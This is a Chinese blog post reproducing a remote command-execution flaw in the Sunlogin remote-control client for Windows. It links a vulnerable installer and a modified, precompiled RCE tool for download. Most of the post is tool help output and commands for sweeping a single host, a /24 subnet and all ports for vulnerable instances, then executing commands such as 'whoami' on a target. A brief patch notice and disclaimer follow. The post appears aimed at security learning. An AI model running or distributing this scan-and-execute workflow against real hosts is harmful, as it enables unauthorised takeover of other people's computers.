向日葵漏洞复现-Happy峰

0x01 漏洞简介

向日葵是一款免费的，集远程控制电脑手机、远程桌面连接、远程开机、远程管理、支持内网穿透的一体化远程控制管理工具软件。

上海贝锐信息科技股份有限公司向日葵的简约版和个人版for Windows存在命令执行漏洞，攻击者可利用该漏洞获取服务器控制权。

漏洞分析：https://download.nstns.com/xs/text/pdf/SunloginClient_Rec.pdf

影响范围：

向日葵个人版 for Windows <= V11.0.0.33

向日葵简约版 <= V1.0.1.43315（2021.12）

0x02 漏洞环境

演示环境为存在漏洞向日葵版本v11.0.0.33162 ，漏洞检测利用工具是来自TRY大佬写的工具，博主在其基础上修改了下部分源码，新增支持了网段检测漏洞功能。

向日葵漏洞版本：11.0.0.33162 https://pan.baidu.com/s/1UjfChpZTwurSho6rOz4mbw提取码 qm7u

向日葵RCE工具修改版：https://pan.baidu.com/s/1Cq-uRhbPYfGf8Vxi4jSgQg提取码: vnp5

向日葵RCE工具修改版已经编译好一份exe文件了，源码也给出了，懂Go语言的想自定义代码或者想要在的其他系统上运行的可以自行编译。

0x03 漏洞利用

漏洞检测利用工具修改版使用命令如下：

D:\BaiduNetdiskDownload\xrkRcePro>xrkRcePro.exe -h


╔═╗┬ ┬┌┐┌╦  ┌─┐┌─┐┬┌┐┌   ╦═╗┌─┐┌─┐
╚═╗│ ││││║  │ ││ ┬││││───╠╦╝│  ├┤
╚═╝└─┘┘└┘╩═╝└─┘└─┘┴┘└┘   ╩╚═└─┘└─┘


                                                by:T00ls.net
                                                向日葵Rce 修改版
                                                支持IP、网段检测

----------------------------------------------

flag needs an argument: -h
Usage of xrkRcePro.exe:
  -c string
        指定命令
  -h string
        支持IP（x.x.x.x）  网段(x.x.x.0/24)
  -p string
        指定端口 (default "1-65535")
  -t string
        指定类型：scan rce (default "scan")
  -x int
        检测速度 (default 2000)

D:\BaiduNetdiskDownload\xrkRcePro>

检测某目标是否存在漏洞：

bash

xrkRcePro -h 10.211.55.3 -t scan

检测某网段是否存在漏洞：

xrkRcePro -h 10.211.55.0/24 -t scan

默认扫描全端口：1-65535，可以根据实际场景指定端口范围

xrkRcePro -h 10.211.55.3 -t scan -p 50000-60000

默认检测速度是2000，可以根据实际场景选择检测速度：

xrkRcePro -h 10.211.55.0/24 -t scan -x 8000

检测到目标及端口号存在漏洞，利用RCE工具远程执行命令

xrkRcePro -h 10.211.55.3 -t rce -p 50164 -c "whoami"

0x04 漏洞修复

厂商已发布了漏洞修复程序，请及时关注更新：https://sunlogin.oray.com/

文章版权声明 1、本网站名称：Happy峰安全运营
2、本站永久网址：https://blog.chenjiangfeng.com
3、本站发布、转载的文章中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用，任何人不得将其用于非法用途及盈利等目的，否则后果自行承担！
4、本网站的文章部分内容可能来源于网络，仅供大家学习与参考，如有侵权，请联系站长进行删除处理。
5、本站一切资源不代表本站立场，并不代表本站赞同其观点和对其真实性负责。
6、本站一律禁止以任何方式发布或转载任何违法的相关信息，访客发现请向站长举报
7、根据《计算机软件保护条例》第十七条，本站所有软件请仅用于学习研究用途

本站所有内容（包括但不限于文字、图片、视频等）均受到版权法保护，归作者所有，未经授权不得转载、复制或用于其他任何商业目的。转载请注明出处，并保留原文链接。对于未经授权的使用，我们将保留追究法律责任的权利。

THE END